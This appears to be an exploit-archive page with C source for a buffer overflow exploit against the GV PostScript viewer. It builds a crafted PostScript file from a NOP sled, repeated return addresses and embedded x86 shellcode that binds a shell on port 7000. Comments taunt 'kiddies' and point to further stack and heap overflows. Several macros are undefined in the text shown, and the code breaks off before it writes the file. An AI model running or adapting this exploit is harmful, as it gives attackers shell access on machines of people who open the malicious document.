GV postscript viewer Local buffer overflow exploit (2)
CODE
/* there are at least 4 other stack buffer overflows, and 2 heap overflows. * the first exploit i wrote exploited the one in the GLSA, and this one exploits * that hole and four other ones as well. all of these are in the psscan() function * located in the ps.c file: 'grep -nP 'sscanf\(.*?%%.*?%s' ps.c' * * gv postscript viewer exploit part deux, infamous42md AT hotpop DOT com * * ok kiddies you've got choices here! we can overflow the text buffer at 5 * different places, we can also overflow the heap at 2 places, and ooh i * bet if you look around there are tons of other places as well! * */ #include <stdio.h> #include <sys/types.h> #include <fcntl.h> #include <stdlib.h> #include <unistd.h> #include <string.h>
/* call them on port 7000, mine */ char remote[] = "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6" "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50" "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a" "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31" "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0" "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80" "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62" "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x3b\x2c\x30\xcd\x80";
int main(int argc, char **argv) { int len, x, fd; char buf[BS]; u_char methodman = 0x0; u_long retaddr;
if(argc < 3){ fprintf(stderr, "Usage: %s < retaddr > < ownage method c b o p r>\n", argv[0]); return EXIT_FAILURE; } sscanf(argv[1], "%lx", &retaddr); methodman = argv[2][0];
/* create 3vil buf */ memset(buf, NOP, BS); if(methodman == 'b') len = snprintf(buf, BS-1, "%s\n%s", PS_COMMENT, BOUND_BOX); else if(methodman == 'c') len = snprintf(buf, BS-1, "%s", PS_COMMENT); else if(methodman == 'o') len = snprintf(buf, BS-1, "%s\n%s", PS_COMMENT, ORIENTATION); else if(methodman == 'p') len = snprintf(buf, BS-1, "%s\n%s", PS_COMMENT, PAGES); else if(methodman == 'r') len = snprintf(buf, BS-1, "%s\n%s", PS_COMMENT, PAGE_ORDER); else{ printf( "Cmon man pick a funkin method!!\n" "oh i see, 5 is not enough to choose from??\n" "don't worry, there are more, just read the source to find them\n" "ok fine, you don't want to overflow the stack, understandable.\n" "there are also some heap overflows you picky bastard\n" "grep -n sscanf\n"); return EXIT_FAILURE; }
for(x = 0; x < RETADDR_BYTES - 3; x += sizeof(retaddr)) memcpy(buf+x+len, &retaddr, sizeof(retaddr)); len += x + NNOPS; strcpy(buf+len, remote); strcat(buf+len, "\n"); len += strlen(remote) + 2;
